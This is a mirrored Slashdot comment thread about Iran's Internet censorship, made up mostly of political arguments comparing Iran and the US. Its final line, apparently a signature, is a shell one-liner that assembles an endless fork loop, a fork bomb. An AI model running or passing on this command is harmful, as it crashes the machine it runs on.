Slashdot Mirror
Iran Continues to Censor Internet Communications
eldawg writes "Iran has recently been in the news after electing a 'hardliner' president. But even previous 'liberal' Iranian governments have been putting together a sophisticated Internet filtering system to prevent their citizens from visiting 'questionable' websites and censoring dissent. An earlier posting at Slashdot outlined the crackdown on blogs, chat rooms and email communications. A more recent research paper from the OpenNet Initiative provides an update on the censoring activity in Iran. Reports indicate that the Iranian authorities are specifically targetting 'content in the local Farsi language using a filterning second only to China.'
We know Cisco has played a large role in bulding the 'Great Firewall of China' but is the Iranian initiative homegrown?"
You have it backwards. We will be invading countries in a few years for spreading "lies" about the Christian Republic of America. Propaganda against our new compasionate conservative leaders and their religious control of the country. That will be enough to go to war.
By that logic and assuming things continue as they are, in 20 years we would have to invade ourselves.
If things continue as they are, in 20 years the only "alternative" media (i.e., not owned and operated by corporate plutocrats) the USA might have is Pacifica Radio, and that's assuming there IS radio in 20 years or that it wasn't bought out by AirAmerica and its corporate sponsors.
RS
Things are so far gone, they're coming around looking like new. But it's not - it's just the same wage slavery in different clothes.
Shoes for Industry. Shoes for the Dead.
Tor is easily detected and/or blocked.
Monitoring internal communications is about catching potential dissenters and organizers of course, but is also about promoting self-censorship. When people know their communications are monitored, they're less likely to say anything negative about the government. That's why the govt makes no attempt to hide the monitoring.
I would say that this is just a sign that the government's scared of their own people and the potential for an uprising. (Which makes sense given that they were revolutionaries themselves.)
Tristan Yates
Not even close. The Utah law mandates that ISPs provide filtering software to those who ask for it. In Iran, your browsing is filtered whether you like it or not. In addition, I don't seem to recall stories of women being stoned in Utah for having pre-marital sex.
Understand the difference?
The Americans are just doing what the client wants, if they are doing anything at all. That's not in the same league as setting the policy, which is certainly coming from Iran.
Ask yourself this: if the Iranians didn't want the censorship, would American companies be helping them do it, if they even are? No, of course not.
And probably if there are people at Cisco doing any dirty work, they are Iranian, or mid-eastern, anyway. Don't jump to the conclusion that just because the company is American everyone who knows their OS has to be American, too.
Raise your children as if you were teaching them to raise your grandchildren, because you are.
...government? Hopefully this will serve as a warning to countries that are forgetting about what separation of church and state means. Although it is more likely that it will serve as motivation to eliminate separation of church and state :-(
Who ever said that every country on the planet must have USA values?
Maybe the people of Iran don't want to watch the stuff we do. Does 1 person who wants to see that content have the right to tell 1,000,000 other people to put up with his crap?
Even in the USA we have community standards. There are some small pockets inside the USA where it is illegal for adult companies to send DVD's. There are places in the USA where the communities want old fashioned values, they want to be able to keep the front door unlocked at night.
Rosco: "If brains were gunpowder, Enos couldn't blow his nose."
How is this different than what the USA does? True the USA let's its citizens speak freely. However, the government does control the flow of information to its citizens via the media. Just pick up a newspaper in Canada and the USA and you can see differences.
Christian Republic of America
Err, more correctly, Evangelical Protestant Christian Republic of America.
Christians were (and remain) Christians long before anyone anyone had heard of Martin Luther, or before anyone thought of translating anything into English and binding it in soft-cover to thump and reinterpret.
That's even before the schism that brought about the Catholics (the folks with the pointy hats) establishing themselves in Rome under a pope (the guy with the really big pointy hat), leaving the Orthodox (the incense burning bearded dudes dressed in black robes) to themselves in the East.
Maybe we'll invade another country in twenty years under the premise that their citizens are "deprived of a free press and subjected to a singular propagandic source of news?
Only if there's enough oil there to make it worthwhile.
deus does not exist but if he does
The same way Conservative did. People assign themselves a retarded ideology and preach it no matter how dumb. Stupidity breeds contempt.
'Standards' in computing only impress those who are impressed by things like 'standards'.
Single propagandic source of news? As is FOX, CNN, MSNBC,CBS, ..., qualify as "fair and balanced" news that matter?
Whatever. I know some uptight ID-10T failure will mod this "flaimbait", but when was the last time our "free press" reported anything more than canned statments and irrelevant gossip? Moreover, when was the last time you actually looked forward to seeing the 9 PM news to learn about actual pressing North American and World news?
Consider: Lacy Peterson, Lost boyscouts, Wacko-Jacko, family drama with that paralyzed person (as if this is the only person suffering), Iraq war "coverage", celebrity gossip, etc...
The examples you cite for the US becoming opressive are flawed. The eminent domain decision handed down the other day was from a group of appointed lawyers, not from public officials. The decision was almost universally condmned and I expect congress to address this issue, possibly with a new constitutional ammendment. Meanwhile expect local governments to address this issue as well. I bet you'll see a CA proposition limiting eminant domain pass in the 2006 elections. As for that http://www.67cshdocs.com/ site, it was run by a member of the US armed forces who took pictures from his work that his employer didn't condone, so his employer asked for their removal. If I walked into my job and took pics of everything to post on a web site, I'd expect my employer to get pretty mad too.
Claiming that the government controls the American media is a joke. Dan Rathergate is a great example, but look at the way the press covers the Gitmo situation for a recent example. Here we had a story in Newsweek about flushing a book down a toilet to get information out of known terrorists. Once the sources of the story were revealed to be questionable at best, the media circled the wagons around Newsweek, searching high and low for any evidence of mistreatment of a book. In the end they found five cases of Koran mistreatment by prison guards, and fifteen cases of Koran mistreatment by prisoners. This lead to a US senator comparing Gitmo to a Nazi death camp. Nine million innocents died in Nazi camps, five books of known terrorists were flushed in Gitmo... you do the math.
The fact is that if the media were half the puppet that you seem to believe, you wouldn't see stories like Gitmo on the front page of the New York Times for a week. There is no question that such stories damage America and put our troops in greater danger, but since we have a free press this is allowed.
It's not that there aren't valid things the U.S. government does that are, broadly, "anti-freedom". But drawing a parallel between eminent domain and the actions of a totalitarian theocracy (despite it's elections, Iran remains dominated by the Revolutionary Guard and its supreme religious leader) and saying "The US is just as bad" is foolish and naive.
Sure, the U.S. government (or, more precisely, a small number of members of the U.S. government) are, time and again, doing something stupid that isn't what you'd expect of a free country, and the examples go back to the founding of the country (counting slaves as 2/3 of a person, etc). Things like Jim Crowe, Viet Nam, Watergate, Iran/Contra, etc etc.
But almost without exception these events are noted in the press, analyzed, criticized, written about by thousands in letters to the editor, protested in the street and very often -- tada -- CHANGED. Civil rights act, voting rights act, Nixon's impeachment, Iran/Contra hearings. And no secret police organization decended on private citizens and beat them, impisoned or tortured them for having an opinion contrary to the government or its policies.
Are we perfect? No way. Are we more free than just about any other place? Absolutely. Will we continue to make missteps from time to time? Sure. Human nature isn't always pretty.
You can be a pessimist and argue that evidence points to a declining level of freedom and government accountability. Maybe. But that hardly means that we're even comperable to North Korea, Iran, Syria, or any of a number of other totalitarian/dicatorial/theocratic societies.
First of all this is not well researched at all. It is typical NR bullshit, a bunch of anecdotal evidence from "reliable unnamed sources". Oh and add some tricks meant to mislead the reader, such as the one where he tries to make a blogger quote look like the quote of a leading Iranian newspaper. As I said, typical NR bullshit.
Don't get me wrong I know there is no democracy in Iran, mostly because the president (whoever he is) does not have real power -- real power is still held by religous institutions and the ayatolah.
But that is no reason to confuse the NR with good journalists.
As far as "Regime change" goes, we know very well that does not help democracy, it will just replace rule by ayatollah by rule by the Pentagon.
Most people from Iran I know don't consider censorship a part of their culture. It could be that the people who choose to immigrate to Canada are more likely to want more rights than others, but I suspect many people in Iran feel the same. I think the desire for free speech and access to information is pretty much constant everywhere. It seems in every country there are those who want to limit this, and those who don't. Just because censorship is winning does not mean it's a part of their culture, or that everybody wants that.
How is having access to information forcing others to put up with your "crap" Unless someone is forcing you to view information or material against your will, why should you care what they are doing?
Or are you one of those people that finds the very existance of opinions that differ from yours offensive?
What does the restriction of information have to do with locking your doors?
Don't get me wrong, there are tons of liberal wacko's too, but they're more about giving you more freedom to do what you want rather than forcing you to obey their views.
/. overzealous. "But we're the techies and you should listen to us, because we know!"
Exactly the opposite is true. Leftists always proceed from a POV that they are more intelligent, enlightened, caring, warm, etc., than others and thus their ideas can, should, and must be followed or else you are a know-nothing imbecile who needs to be controlled for the good of society and yourself. They are the only ones who know what is going on and everyone else is stupid.
They even feel free to engage in massive sneering religious intolerance, smearing Christians, treating religious Jews with condescention, and knocking aside peaceful Muslims in order to hold up radicals and terrorists as "authentic". They quite often proceed right past arrogance to "holy effrontery" without noticing how absurd they look.
It wasn't conservatives who invented political correctness. At worst conservatives are given to annoying passive "everyone can survive or fail on their own with no help whatsoever" neglect. I say worst because the fiery ones are obviously laughable and despite portrayal by liberals to the contrary, have no real influence. Liberals more often embrace an arrogant refusal to accept anyone not bowing before their views and worshipping the ground they walk on and fight like mad to get their way no matter what the cost to others, as long as they win and their ideas are enshrined.
Seems like the kind of mindset I see among Linux zealots who sputter and foam in befuddlement that the masses didn't listen to them five or more years ago and adopt Linux and put Microsoft out of business. Just to give it understanding for the
BTW, since when is it not hypocrisy to decry bigotry on one side, yet practice it freely on the other? Anti-Christian rhetoric on this board is fairly free flowing and thick and utterly without redeeming value. It has no proper place here. But like the rest of the incessant "we're smarter than you" leftist weenie nonsense, it seems to be part and parcel of the stereotype. It needs to stop, really. Or we can have these political discussions ad nauseum.
If my grammar and spelling are off, I am [distracted/tired/careless] (take your pick)
If you think today's evangelical closet-homo bible-thumpers have anything to do with Martin Luther and his sane schism from then-insane Church, you're off your chump... :-D
In fact, I'm not sure why American Lutherans call themselves Lutherans anyway. They certainly have nothing to do with the European (particularly German) Lutheran, plus they seem tor reject most of Luther's teachings... Feh.
By that logic and assuming things continue as they are, in 20 years we would have to invade ourselves.
If things continue as they are, in 20 years the only "alternative" media (i.e., not owned and operated by corporate plutocrats) the USA might have is Pacifica Radio, and that's assuming there IS radio in 20 years or that it wasn't bought out by AirAmerica and its corporate sponsors.
Oh come on man. The US has blogs and media of all stripes and flavors coming out the wazoo. There simply is not censorship here even remotely similar to the horrible things that take place elsewhere, and to even hint we are close at it is to demean those that suffer from REAL censorship. Have you been arrested and thrown in prison and then beaten for suggesting you do not like the president? I don't think so. And in twenty years it will most likely be the same, only more so. I'm not likley in twenty years to be bricking up my old copies of Reason behind a wall so the governement can't find them.
I just cannot stand to see people use the argument that America is the next Facist state when they obviously have no idea what the hell that really means or what happens when you are really in one.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Go read a decent newspaper, or support your local public radio station. TV ain't the end-all, be-all.
Only the dead have seen the end of war.
Here is why we should care:
1- We cannot judge a whole nation based on the ideologies and policies of their leaders, especially when those leaders are not in power based on the choice of people.
2- Many times US money and policies were the main reason behind those leaders coming to power or (keeping) their power.
3- The ideologies of the people are in many ways greatly influenced by their controlled media, and free information means that these people can see the bigger picture and make well informed decisions (which is not necessarily in favor of the US)
4- If the people in these nations hate the US, while may not be completely rational, I believe they have good reason to do so. They don't hate us because they are retards and fuckheads as our media is trying to convery to us. They have good reason to do so and it's a direct result of our policies in the past decades to maintain absolute power and our Machiavellic way of dealing with things.
5- If we believe we are the bastion of democracy and freedom, we carry a responsibility towards the world to bring them those values. And that doesn't necessarily mean invading them and throwing bombs allover their homes.
I have to admit, I don't have the guts to admire beheading people for their religious beliefs. Maybe I'm just a spineless, moralistic, Eurocentric pig. Or maybe I'm a human being and I believe that all humans, everywhere deserve to be according basic rights, and that governments can only be legitimate insofar as they protect those rights. Installing the Shah was wrong, and it had nothing to do with the rights of the Iranian people. That doesn't make their current theocracy any more justified. People of character will speak out against human rights violations everywhere, both in their own countries and in other countries.
English is easier said than done.
Once again, I ask, what is a world perspective? Who decides? You? Your group of people? Or my group of people? How about the people that live together?
There is no world perspective. There never will be. You will have a hard time getting people who live in the same area, with the same religion, to agree to a complete set of values. Now try and toss in a value that is incompatibe with their beliefs.
I'll give you an example. Women who must wear cloth that covers their whole body in many muslim areas. Is that evil? Is it against human values, or against your values? Many muslim women move to the USA, and continue to wear those dresses that cover the body and face. Were they brainwashed? Are they stupid? Or do they have values that are different than yours.
a nationality is a tribe, a false arbitrary geopolitical boundary
I disagree. A nationality is more than that. It is a common family. It is history. It is my grandfather living next door to your grandfather, and about all of us sharing some values in common. If you and I today decide we want values different than what our grandparents had, that is our right. But if someone from a different part of the world wants to change us, that is wrong.
People feel better when they live next to others with a common idea about life and happiness. I doubt a priest would have a happy life next to a porn star. If my community is more like the priest, than that is our right. If your community is more like the porn star, that is your right.
What it comes down to is self determination. People have a right to pick their own lives. That does not include having a different country destabalize your economy or force different viewpoints.
Rosco: "If brains were gunpowder, Enos couldn't blow his nose."
http://www.clantonadvertiser.com/articles/2005/06
so... how many of those are we not doing in the US right now?
Sitting Walrus Blog
Demonize the other guy. makes it easier to justify being a prick to them.
I am the Alpha and the Omega-3
Saudi Arabia does the same thing! I don't see why this is considered news, lots of middle eastern countries do this!
Moreover, when was the last time you actually looked forward to seeing the 9 PM news to learn about actual pressing North American and World news?
.......
When was the last time you read anything *pressing* on slashdot: Google, Bittorrent, Google Apple, Evil Microsoft, Star Wars, Google, Chip Overclocking, Google, Ipod, Ipod, Ipod, Ipod, It aint stealing it's copyright infringement bahhhhhh!
The bikini - security through obscurity since 1943
The Chinese and Iranian governments probably do engage in something that can be legitimately characterized as objectionable censorship. But where should the line between censorship and legitimate restrictions be drawn?
The US tracks and prosecutes the copying of music and videos, distribution of pornography showing individuals that appear to be younger than 18 years, and information related to bomb making and terrorism. The latter can land you in indefinite detention without the benefit of a trial, other offenses may result in long jail sentences, prison labor, and may effectively constitute a death sentence given the realities of the US prison system. Germany and France crack down on the distribution of Nazi-related content, even if it not intended to promote Nazi ideology, but they are more liberal on sex and copying. And France seeks out certain kinds of linguistically undesirable content. I suspect most people in each of those nations support most of those policies. Likewise, we don't actually know what the Chinese and Iranian people want; it is wrong to assume that, even if they could decide democratically, they would want to draw the line where we want to draw it.
Before we criticize nations like Iran and China, it's good to reflect on what we actually want them to do and what the people in those nations want. We apparently don't want them to have a free and unrestricted Internet, since we don't have that ourselves. Nor can we expect other societies to tolerate some of the content that we have learned to live with (goatse etc.). So, what do you actually want Iran and China to do? Only filtering and enforcement for the benefit of Disney? Or what?
One of the founding principles of the USA was liberty and Americans like to refer to themselves as living in the land of the Free. Its a sad state of affairs when the very definition of believing in freedom (liberalism) has become a swear word over there . ,Whether it be the prohibition of the early part of last century or the Bush administration and denying Adults rights to marry or the restrictions of freedom upon research due to religious grounds , the Constitution gets walked all over.
Patrick Henry one said during a speech "Give me Liberty or give me Death" , sadly it looks like so many are now trying to give death to the liberties the country was founded upon
Socialism can be a wonderful thing , unfortunately too many Americans have the Words of Mcarthy and Hover etc. ground into their minds constantly comparing socialism to communism to the sudo communesque regimes of last century.
Its a concept that won't likely see the light of day over there in any meaningful way till someone repackages it and sells it under its new identity.
Iran is at least honest in their restrictions ,
The only things certain in war are Propaganda and Death. You can never be sure which is which though
I read a well researched series of articles on mistreatment. (And it happens, as it happen.) He is deploring the fact that these things are occurring. (What, he should rejoice?)
He wouldn't deplore it if he was outside the country and for what was happening. Basically your "My countr right or right!" is the kind of blinkered, knee-jerk, thoughtless but well ingrained attitute that tell me volumes about what you are.
I'm writing this knowing you'll never read it or understand it if you do.
MSBPodcast.com The opinions expressed here are my own. If you don't like 'em... Think up your own stuff.
Divorce is an admission of having made a mistake. Prohibiting divorce won't suddenly fix the mistake - it just lets it fester.
Lets substitute "women" for Americans.
... and it can be applied to any group, not just Americans, or women. Life isn't perfect. but I'd bet there'd be fewer wars if we didn't have a bunch of guys in positions of power posturing for history or avenging their fathers political record.How many people leave Iran and other theocracies to come to America each year? A fair few I'd expect. If the US let people in, and the countries they were in let them out, you'd see a lot more.
How many people leave America to go to a theocracy? John Walker Lindh and a few other nutcases.
Free societies are *better* than less free ones, not just different - if you don't believe that then you don't believe in anything.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;